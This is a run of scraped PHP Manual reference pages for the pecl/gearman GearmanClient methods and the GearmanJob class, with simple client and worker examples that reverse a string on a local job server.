Running: false, numerator: 0, denomintor: 0
done!

See Also

  • GearmanClient::doNormal() - Run a single task and return a result
  • GearmanClient::doHigh() - Run a single high priority task
  • GearmanClient::doLow() - Run a single low priority task
  • GearmanClient::doHighBackground() - Run a high priority task in the background
  • GearmanClient::doLowBackground() - Run a low priority task in the background

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::do
GearmanClient::doHigh
GearmanClient


Run a single high priority task

GearmanClient::doBackground
GearmanClient::doHighBackground
GearmanClient
PHP Manual

GearmanClient::doHigh

(PECL gearman >= 0.5.0)

GearmanClient::doHigh — Run a single high priority task

Description

public string GearmanClient::doHigh ( string $function_name , string $workload [, string $unique ] )

Runs a single high priority task and returns a string representation of the result. It is up to the GearmanClient and GearmanWorker to agree on the format of the result. High priority tasks will get precedence over normal and low priority tasks in the job queue.

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

unique

A unique ID used to identify a particular task

Return Values

A string representing the results of running a task.

See Also

  • GearmanClient::doNormal() - Run a single task and return a result
  • GearmanClient::doLow() - Run a single low priority task
  • GearmanClient::doBackground() - Run a task in the background
  • GearmanClient::doHighBackground() - Run a high priority task in the background
  • GearmanClient::doLowBackground() - Run a low priority task in the background

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::doBackground
GearmanClient::doHighBackground
GearmanClient


Run a high priority task in the background

GearmanClient::doHigh
GearmanClient::doJobHandle
GearmanClient
PHP Manual

GearmanClient::doHighBackground

(PECL gearman >= 0.5.0)

GearmanClient::doHighBackground — Run a high priority task in the background

Description

public string GearmanClient::doHighBackground ( string $function_name , string $workload [, string $unique ] )

Runs a high priority task in the background, returning a job handle which can be used to get the status of the running task. High priority tasks take precedence over normal and low priority tasks in the job queue.

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

unique

A unique ID used to identify a particular task

Return Values

The job handle for the submitted task.

See Also

  • GearmanClient::doNormal() - Run a single task and return a result
  • GearmanClient::doHigh() - Run a single high priority task
  • GearmanClient::doLow() - Run a single low priority task
  • GearmanClient::doBackground() - Run a task in the background
  • GearmanClient::doLowBackground() - Run a low priority task in the background

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::doHigh
GearmanClient::doJobHandle
GearmanClient


Get the job handle for the running task

GearmanClient::doHighBackground
GearmanClient::doLow
GearmanClient
PHP Manual

GearmanClient::doJobHandle

(PECL gearman >= 0.5.0)

GearmanClient::doJobHandle — Get the job handle for the running task

Description

public string GearmanClient::doJobHandle ( void )

Gets that job handle for a running task. This should be used between repeated GearmanClient::doNormal() calls. The job handle can then be used to get information on the task.

Parameters

This function has no parameters.

Return Values

The job handle for the running task.

See Also

  • GearmanClient::jobStatus() - Get the status of a background job

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::doHighBackground
GearmanClient::doLow
GearmanClient


Run a single low priority task

GearmanClient::doJobHandle
GearmanClient::doLowBackground
GearmanClient
PHP Manual

GearmanClient::doLow

(PECL gearman >= 0.5.0)

GearmanClient::doLow — Run a single low priority task

Description

public string GearmanClient::doLow ( string $function_name , string $workload [, string $unique ] )

Runs a single low priority task and returns a string representation of the result. It is up to the GearmanClient and GearmanWorker to agree on the format of the result. Normal and high priority tasks will get precedence over low priority tasks in the job queue.

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

unique

A unique ID used to identify a particular task

Return Values

A string representing the results of running a task.

See Also

  • GearmanClient::doNormal() - Run a single task and return a result
  • GearmanClient::doHigh() - Run a single high priority task
  • GearmanClient::doBackground() - Run a task in the background
  • GearmanClient::doHighBackground() - Run a high priority task in the background
  • GearmanClient::doLowBackground() - Run a low priority task in the background

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::doJobHandle
GearmanClient::doLowBackground
GearmanClient


Run a low priority task in the background

GearmanClient::doLow
GearmanClient::doNormal
GearmanClient
PHP Manual

GearmanClient::doLowBackground

(PECL gearman >= 0.5.0)

GearmanClient::doLowBackground — Run a low priority task in the background

Description

public string GearmanClient::doLowBackground ( string $function_name , string $workload [, string $unique ] )

Runs a low priority task in the background, returning a job handle which can be used to get the status of the running task. Normal and high priority tasks take precedence over low priority tasks in the job queue.

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

unique

A unique ID used to identify a particular task

Return Values

The job handle for the submitted task.

See Also

  • GearmanClient::doNormal() - Run a single task and return a result
  • GearmanClient::doHigh() - Run a single high priority task
  • GearmanClient::doLow() - Run a single low priority task
  • GearmanClient::doBackground() - Run a task in the background
  • GearmanClient::doHighBackground() - Run a high priority task in the background

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::doLow
GearmanClient::doNormal
GearmanClient


Run a single task and return a result

GearmanClient::doLowBackground
GearmanClient::doStatus
GearmanClient
PHP Manual

GearmanClient::doNormal

(No version information available, might only be in SVN)

GearmanClient::doNormal — Run a single task and return a result

Description

public string GearmanClient::doNormal ( string $function_name , string $workload [, string $unique ] )

Runs a single task and returns a string representation of the result. It is up to the GearmanClient and GearmanWorker to agree on the format of the result.

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

unique

A unique ID used to identify a particular task

Return Values

A string representing the results of running a task.

Examples

Example #1 Simple job submission with immediate return

<?php

?>
<?php

# Client code

echo "Starting\n";

# Create our client object.
$gmclient= new GearmanClient();

# Add default server (localhost).
$gmclient->addServer();

echo "Sending job\n";

$result = $gmclient->doNormal("reverse", "Hello!");

echo "Success: $result\n";

?>
<?php

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server. Change the worker function to
# "reverse_fn_fast" for a faster worker with no output.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

function reverse_fn($job)
{
  return strrev($job->workload());
}

?>

The above example will output something similar to:

Starting
Sending job
Success: !olleH

Example #2 Submitting a job and retrieving incremental status

A job is submitted and the script loops to retrieve status information. The worker has an artificial delay which results in a long running job and sends status and data as processing occurs. Each subsequent call to GearmanClient::doNormal() produces status information on the running job.

<?php

# Client code

# Create our client object.
$gmclient= new GearmanClient();

# Add default server (localhost).
$gmclient->addServer();

echo "Sending job\n";

# Send reverse job
do
{
  $result = $gmclient->doNormal("reverse", "Hello!");
  # Check for various return packets and errors.

  switch($gmclient->returnCode())
  {
    case GEARMAN_WORK_DATA:
      echo "Data: $result\n";
      break;
    case GEARMAN_WORK_STATUS:
      list($numerator, $denominator)= $gmclient->doStatus();
      echo "Status: $numerator/$denominator complete\n";
      break;
    case GEARMAN_WORK_FAIL:
      echo "Failed\n";
      exit;
    case GEARMAN_SUCCESS:
      break;
    default:
      echo "RET: " . $gmclient->returnCode() . "\n";
      echo "Error: " . $gmclient->error() . "\n";
      echo "Errno: " . $gmclient->getErrno() . "\n";
      exit;
  }
}
while($gmclient->returnCode() != GEARMAN_SUCCESS);

echo "Success: $result\n";

?>
<?php

# Worker code

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

function reverse_fn($job)
{
  echo "Received job: " . $job->handle() . "\n";

  $workload = $job->workload();
  $workload_size = $job->workloadSize();

  echo "Workload: $workload ($workload_size)\n";

  # This status loop is not needed, just showing how it works
  for ($x= 0; $x < $workload_size; $x++)
  {
    echo "Sending status: " + $x + 1 . "/$workload_size complete\n";
    $job->sendStatus($x+1, $workload_size);
    $job->sendData(substr($workload, $x, 1));
    sleep(1);
  }

  $result= strrev($workload);
  echo "Result: $result\n";

  # Return what we want to send back to the client.
  return $result;
}

?>

The above example will output something similar to:

Worker output:

Starting
Waiting for job...
Received job: H:foo.local:106
Workload: Hello! (6)
1/6 complete
2/6 complete
3/6 complete
4/6 complete
5/6 complete
6/6 complete
Result: !olleH

Client output:

Starting
Sending job
Status: 1/6 complete
Data: H
Status: 2/6 complete
Data: e
Status: 3/6 complete
Data: l
Status: 4/6 complete
Data: l
Status: 5/6 complete
Data: o
Status: 6/6 complete
Data: !
Success: !olleH

See Also

  • GearmanClient::doHigh() - Run a single high priority task
  • GearmanClient::doLow() - Run a single low priority task
  • GearmanClient::doBackground() - Run a task in the background
  • GearmanClient::doHighBackground() - Run a high priority task in the background
  • GearmanClient::doLowBackground() - Run a low priority task in the background

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::doLowBackground
GearmanClient::doStatus
GearmanClient


Get the status for the running task

GearmanClient::doNormal
GearmanClient::echo
GearmanClient
PHP Manual

GearmanClient::doStatus

(PECL gearman >= 0.5.0)

GearmanClient::doStatus — Get the status for the running task

Description

public array GearmanClient::doStatus ( void )

Returns the status for the running task. This should be used between repeated GearmanClient::doNormal() calls.

Parameters

This function has no parameters.

Return Values

An array representing the percentage completion given as a fraction, with the first element the numerator and the second element the denomintor.

Examples

Example #1 Get the status of a long running job

The worker in this example has an artificial delay added during processing of the string to be reversed. After each delay it calls GearmanJob::status() which the client then picks up.

<?php

echo "Starting\n";

# Create our client object.
$gmclient= new GearmanClient();

# Add default server (localhost).
$gmclient->addServer();

echo "Sending job\n";

# Send reverse job
do
{
  $result = $gmclient->doNormal("reverse", "Hello!");

  # Check for various return packets and errors.
  switch($gmclient->returnCode())
  {
    case GEARMAN_WORK_DATA:
      break;
    case GEARMAN_WORK_STATUS:
      # get the current job status
      list($numerator, $denominator)= $gmclient->doStatus();
      echo "Status: $numerator/$denominator complete\n";
      break;
    case GEARMAN_WORK_FAIL:
      echo "Failed\n";
      exit;
    case GEARMAN_SUCCESS:
      break;
    default:
      echo "RET: " . $gmclient->returnCode() . "\n";
      exit;
  }
}
while($gmclient->returnCode() != GEARMAN_SUCCESS);

echo "Success: $result\n";

?>

The above example will output something similar to:

Starting
Sending job
Status: 1/6 complete
Status: 2/6 complete
Status: 3/6 complete
Status: 4/6 complete
Status: 5/6 complete
Status: 6/6 complete
Success: !olleH

See Also

  • GearmanClient::doNormal() - Run a single task and return a result
  • GearmanJob::status() - Send status (deprecated)

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::doNormal
GearmanClient::echo
GearmanClient


Send data to all job servers to see if they echo it back [deprecated]

GearmanClient::doStatus
GearmanClient::error
GearmanClient
PHP Manual

GearmanClient::echo

(PECL gearman >= 0.5.0)

GearmanClient::echo — Send data to all job servers to see if they echo it back [deprecated]

Description

public bool GearmanClient::echo ( string $workload )

The GearmanClient::echo() method is deprecated as of pecl/gearman 1.0.0. Use GearmanClient::ping().

Parameters

workload

Some arbitrary serialized data to be echo back

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::doStatus
GearmanClient::error
GearmanClient


Returns an error string for the last error encountered.

GearmanClient::echo
GearmanClient::getErrno
GearmanClient
PHP Manual

GearmanClient::error

(PECL gearman >= 0.5.0)

GearmanClient::error — Returns an error string for the last error encountered.

Description

public string GearmanClient::error ( void )

Returns an error string for the last error encountered.

Parameters

This function has no parameters.

Return Values

A human readable error string.

See Also

  • GearmanClient::getErrno() - Get an errno value

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::echo
GearmanClient::getErrno
GearmanClient


Get an errno value

GearmanClient::error
GearmanClient::jobStatus
GearmanClient
PHP Manual

GearmanClient::getErrno

(PECL gearman >= 0.5.0)

GearmanClient::getErrno — Get an errno value

Description

public int GearmanClient::getErrno ( void )

Value of errno in the case of a GEARMAN_ERRNO return value.

Parameters

This function has no parameters.

Return Values

A valid Gearman errno.

See Also

  • GearmanClient::error() - Returns an error string for the last error encountered.

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::error
GearmanClient::jobStatus
GearmanClient


Get the status of a background job

GearmanClient::getErrno
GearmanClient::ping
GearmanClient
PHP Manual

GearmanClient::jobStatus

gearman_job_status

(PECL gearman >= 0.5.0)

GearmanClient::jobStatus -- gearman_job_status — Get the status of a background job

Description

Object oriented style (method):

public array GearmanClient::jobStatus ( string $job_handle )

Gets the status for a background job given a job handle. The status information will specify whether the job is known, whether the job is currently running, and the percentage completion.

Parameters

job_handle

The job handle assigned by the Gearman server

Return Values

An array containing status information for the job corresponding to the supplied job handle. The first array element is a boolean indicating whether the job is even known, the second is a boolean indicating whether the job is still running, and the third and fourth elements correspond to the numerator and denominator of the fractional completion percentage, respectively.

Examples

Example #1 Monitor the status of a long running background job

<?php

/* create our object */
$gmclient= new GearmanClient();

/* add the default server */
$gmclient->addServer();

/* run reverse client */
$job_handle = $gmclient->doBackground("reverse", "this is a test");

if ($gmclient->returnCode() != GEARMAN_SUCCESS)
{
  echo "bad return code\n";
  exit;
}

$done = false;
do
{
   sleep(3);
   $stat = $gmclient->jobStatus($job_handle);
   if (!$stat[0]) // the job is known so it is not done
      $done = true;
   echo "Running: " . ($stat[1] ? "true" : "false") . ", numerator: " . $stat[2] . ", denomintor: " . $stat[3] . "\n";
}
while(!$done);

echo "done!\n";

?>

The above example will output something similar to:

Running: true, numerator: 3, denomintor: 14
Running: true, numerator: 6, denomintor: 14
Running: true, numerator: 9, denomintor: 14
Running: true, numerator: 12, denomintor: 14
Running: false, numerator: 0, denomintor: 0
done!

See Also

  • GearmanClient::doStatus() - Get the status for the running task

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::getErrno
GearmanClient::ping
GearmanClient


Send data to all job servers to see if they echo it back

GearmanClient::jobStatus
GearmanClient::removeOptions
GearmanClient
PHP Manual

GearmanClient::ping

(No version information available, might only be in SVN)

GearmanClient::ping — Send data to all job servers to see if they echo it back

Description

public bool GearmanClient::ping ( string $workload )

Sends some arbitrary data to all job servers to see if they echo it back. The data sent is not used or processed in any other way. Primarily used for testing and debugging.

Parameters

workload

Some arbitrary serialized data to be echo back

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::jobStatus
GearmanClient::removeOptions
GearmanClient


Remove client options

GearmanClient::ping
GearmanClient::returnCode
GearmanClient
PHP Manual

GearmanClient::removeOptions

(PECL gearman >= 0.6.0)

GearmanClient::removeOptions — Remove client options

Description

public bool GearmanClient::removeOptions ( int $options )

Removes (unsets) one or more options.

Parameters

options

The options to be removed (unset)

Return Values

Always returns TRUE.

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::ping
GearmanClient::returnCode
GearmanClient


Get the last Gearman return code

GearmanClient::removeOptions
GearmanClient::runTasks
GearmanClient
PHP Manual

GearmanClient::returnCode

(PECL gearman >= 0.5.0)

GearmanClient::returnCode — Get the last Gearman return code

Description

public int GearmanClient::returnCode ( void )

Returns the last Gearman return code.

Parameters

This function has no parameters.

Return Values

A valid Gearman return code.

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::removeOptions
GearmanClient::runTasks
GearmanClient


Run a list of tasks in parallel

GearmanClient::returnCode
GearmanClient::setClientCallback
GearmanClient
PHP Manual

GearmanClient::runTasks

(PECL gearman >= 0.5.0)

GearmanClient::runTasks — Run a list of tasks in parallel

Description

public bool GearmanClient::runTasks ( void )

For a set of tasks previously added with GearmanClient::addTask(), GearmanClient::addTaskHigh(), GearmanClient::addTaskLow(), GearmanClient::addTaskBackground(), GearmanClient::addTaskHighBackground(), or GearmanClient::addTaskLowBackground(), this call starts running the tasks in parallel.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanClient::addTask() - Add a task to be run in parallel

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::returnCode
GearmanClient::setClientCallback
GearmanClient


Callback function when there is a data packet for a task (deprecated)

GearmanClient::runTasks
GearmanClient::setCompleteCallback
GearmanClient
PHP Manual

GearmanClient::setClientCallback

(PECL gearman <= 0.5.0)

GearmanClient::setClientCallback — Callback function when there is a data packet for a task (deprecated)

Description

public void GearmanClient::setClientCallback ( callback $callback )

Sets the callback function for accepting data packets for a task. The callback function should take a single argument, a GearmanTask object.

Note:

This method has been replaced by GearmanClient::setDataCallback() in the 0.6.0 release of the Gearman extension.

Parameters

callback

A function or method to call

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::runTasks
GearmanClient::setCompleteCallback
GearmanClient


Set a function to be called on task completion

GearmanClient::setClientCallback
GearmanClient::setContext
GearmanClient
PHP Manual

GearmanClient::setCompleteCallback

(PECL gearman >= 0.5.0)

GearmanClient::setCompleteCallback — Set a function to be called on task completion

Description

public bool GearmanClient::setCompleteCallback ( callback $callback )

Use to set a function to be called when a task is completed. The callback function should accept a single argument, a GearmanTask oject.

Parameters

callback

A function to be called

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

Justas Butkus 18-Aug-2011 06:59
One shall note, that callback function MUST either return a valid Gearman status code, or return nothing (do not return).

I.e. these are valid complete callbacks:

<?php
function goodCallbackOne(GearmanTask $task)
{
    print_r($task);
}
?>

<?php
function goodCallbackTwo(GearmanTask $task)
{
    print_r($task);
    return GEARMAN_SUCCESS;
}
?>

While following is NOT, unless you want your client code to fail with Gearman error 'german wait:no active file descriptors':

<?php
function badCallbackTwo(GearmanTask $task)
{
    print_r($task);
    return true;
}
?>
GearmanClient::setClientCallback
GearmanClient::setContext
GearmanClient


Set application context

GearmanClient::setCompleteCallback
GearmanClient::setCreatedCallback
GearmanClient
PHP Manual

GearmanClient::setContext

(PECL gearman >= 0.6.0)

GearmanClient::setContext — Set application context

Description

public bool GearmanClient::setContext ( string $context )

Sets an arbitrary string to provide application context that can later be retrieved by GearmanClient::context().

Parameters

context

Arbitrary context data

Return Values

Always returns TRUE.

See Also

  • GearmanClient::context() - Get the application context

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::setCompleteCallback
GearmanClient::setCreatedCallback
GearmanClient


Set a callback for when a task is queued

GearmanClient::setContext
GearmanClient::setData
GearmanClient
PHP Manual

GearmanClient::setCreatedCallback

(PECL gearman >= 0.5.0)

GearmanClient::setCreatedCallback — Set a callback for when a task is queued

Description

public bool GearmanClient::setCreatedCallback ( string $callback )

Sets a function to be called when a task is received and queued by the Gearman job server. The callback should accept a single argument, a GearmanClient oject.

Parameters

callback

A function to call

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::setContext
GearmanClient::setData
GearmanClient


Set application data (deprecated)

GearmanClient::setCreatedCallback
GearmanClient::setDataCallback
GearmanClient
PHP Manual

GearmanClient::setData

(PECL gearman <= 0.5.0)

GearmanClient::setData — Set application data (deprecated)

Description

public bool GearmanClient::setData ( string $data )

Sets some arbitrary application data that can later be retrieved by GearmanClient::data().

Note:

This method has been replaced by GearmanCient::setContext() in the 0.6.0 release of the Gearman extension.

Parameters

data

Return Values

Always returns TRUE.

See Also

  • GearmanClient::data() - Get the application data (deprecated)

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::setCreatedCallback
GearmanClient::setDataCallback
GearmanClient


Callback function when there is a data packet for a task

GearmanClient::setData
GearmanClient::setExceptionCallback
GearmanClient
PHP Manual

GearmanClient::setDataCallback

(PECL gearman >= 0.6.0)

GearmanClient::setDataCallback — Callback function when there is a data packet for a task

Description

public bool GearmanClient::setDataCallback ( callback $callback )

Sets the callback function for accepting data packets for a task. The callback function should take a single argument, a GearmanTask object.

Parameters

callback

A function or method to call

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::setData
GearmanClient::setExceptionCallback
GearmanClient


Set a callback for worker exceptions

GearmanClient::setDataCallback
GearmanClient::setFailCallback
GearmanClient
PHP Manual

GearmanClient::setExceptionCallback

(PECL gearman >= 0.5.0)

GearmanClient::setExceptionCallback — Set a callback for worker exceptions

Description

public bool GearmanClient::setExceptionCallback ( callback $callback )

Specifies a function to call when a worker for a task sends an exception.

Parameters

callback

Function to call when the worker throws an exception

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::setDataCallback
GearmanClient::setFailCallback
GearmanClient


Set callback for job failure

GearmanClient::setExceptionCallback
GearmanClient::setOptions
GearmanClient
PHP Manual

GearmanClient::setFailCallback

(PECL gearman >= 0.5.0)

GearmanClient::setFailCallback — Set callback for job failure

Description

public bool GearmanClient::setFailCallback ( callback $callback )

Sets the callback function to be used when a task does not complete successfully. The function should accept a single argument, a GearmanTask object.

Parameters

callback

A function to call

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::setExceptionCallback
GearmanClient::setOptions
GearmanClient


Set client options

GearmanClient::setFailCallback
GearmanClient::setStatusCallback
GearmanClient
PHP Manual

GearmanClient::setOptions

(PECL gearman >= 0.5.0)

GearmanClient::setOptions — Set client options

Description

public bool GearmanClient::setOptions ( int $options )

Sets one or more client options.

Parameters

options

The options to be set

Return Values

Always returns TRUE.

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::setFailCallback
GearmanClient::setStatusCallback
GearmanClient


Set a callback for collecting task status

GearmanClient::setOptions
GearmanClient::setTimeout
GearmanClient
PHP Manual

GearmanClient::setStatusCallback

(PECL gearman >= 0.5.0)

GearmanClient::setStatusCallback — Set a callback for collecting task status

Description

public bool GearmanClient::setStatusCallback ( callback $callback )

Sets a callback function used for getting updated status information from a worker. The function should accept a single argument, a GearmanTask object.

Parameters

callback

A function to call

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::setOptions
GearmanClient::setTimeout
GearmanClient


Set socket I/O activity timeout

GearmanClient::setStatusCallback
GearmanClient::setWarningCallback
GearmanClient
PHP Manual

GearmanClient::setTimeout

(PECL gearman >= 0.6.0)

GearmanClient::setTimeout — Set socket I/O activity timeout

Description

public bool GearmanClient::setTimeout ( int $timeout )

Sets the timeout for socket I/O activity.

Parameters

timeout

An interval of time in milliseconds

Return Values

Always returns TRUE.

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::setStatusCallback
GearmanClient::setWarningCallback
GearmanClient


Set a callback for worker warnings

GearmanClient::setTimeout
GearmanClient::setWorkloadCallback
GearmanClient
PHP Manual

GearmanClient::setWarningCallback

(PECL gearman >= 0.5.0)

GearmanClient::setWarningCallback — Set a callback for worker warnings

Description

public bool GearmanClient::setWarningCallback ( callback $callback )

Sets a function to be called when a worker sends a warning. The callback should accept a single argument, a GearmanTask object.

Parameters

callback

A function to call

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::setTimeout
GearmanClient::setWorkloadCallback
GearmanClient


Set a callback for accepting incremental data updates

GearmanClient::setWarningCallback
GearmanClient::timeout
GearmanClient
PHP Manual

GearmanClient::setWorkloadCallback

(PECL gearman >= 0.5.0)

GearmanClient::setWorkloadCallback — Set a callback for accepting incremental data updates

Description

public bool GearmanClient::setWorkloadCallback ( callback $callback )

Sets a function to be called when a worker needs to send back data prior to job completion. A worker can do this when it needs to send updates, send partial results, or flush data during long running jobs. The callback should accept a single argument, a GearmanTask object.

Parameters

callback

A function to call

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::setWarningCallback
GearmanClient::timeout
GearmanClient


Get current socket I/O activity timeout value

GearmanClient::setWorkloadCallback
GearmanJob
GearmanClient
PHP Manual

GearmanClient::timeout

(PECL gearman >= 0.6.0)

GearmanClient::timeout — Get current socket I/O activity timeout value

Description

public int GearmanClient::timeout ( void )

Returns the timeout in milliseconds to wait for I/O activity.

Parameters

This function has no parameters.

Return Values

Timeout in milliseconds to wait for I/O activity. A negative value means an infinite timeout.

See Also

  • GearmanClient::setTimeout() - Set socket I/O activity timeout

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::setWorkloadCallback
GearmanJob
GearmanClient


The GearmanJob class

(No version information available, might only be in SVN)

Introduction

Class synopsis

GearmanJob {
/* Methods */
public bool complete ( string $result )
public __construct ( void )
public bool data ( string $data )
public bool exception ( string $exception )
public bool fail ( void )
public string functionName ( void )
public string handle ( void )
public int returnCode ( void )
public bool sendComplete ( string $result )
public bool sendData ( string $data )
public bool sendException ( string $exception )
public bool sendFail ( void )
public bool sendStatus ( int $numerator , int $denominator )
public bool sendWarning ( string $warning )
public bool setReturn ( int $gearman_return_t )
public bool status ( int $numerator , int $denominator )
public string unique ( void )
public bool warning ( string $warning )
public string workload ( void )
public int workloadSize ( void )
}

Table of Contents

  • GearmanJob::complete — Send the result and complete status (deprecated)
  • GearmanJob::__construct — Create a GearmanJob instance
  • GearmanJob::data — Send data for a running job (deprecated)
  • GearmanJob::exception — Send exception for running job (deprecated)
  • GearmanJob::fail — Send fail status (deprecated)
  • GearmanJob::functionName — Get function name
  • GearmanJob::handle — Get the job handle
  • GearmanJob::returnCode — Get last return code
  • GearmanJob::sendComplete — Send the result and complete status
  • GearmanJob::sendData — Send data for a running job
  • GearmanJob::sendException — Send exception for running job (exception)
  • GearmanJob::sendFail — Send fail status
  • GearmanJob::sendStatus — Send status
  • GearmanJob::sendWarning — Send a warning
  • GearmanJob::setReturn — Set a return value
  • GearmanJob::status — Send status (deprecated)
  • GearmanJob::unique — Get the unique identifier
  • GearmanJob::warning — Send a warning (deprecated)
  • GearmanJob::workload — Get workload
  • GearmanJob::workloadSize — Get size of work load

User Contributed Notes

There are no user contributed notes for this page.
GearmanClient::timeout
GearmanJob::complete
Gearman


Send the result and complete status (deprecated)

GearmanJob
GearmanJob::__construct
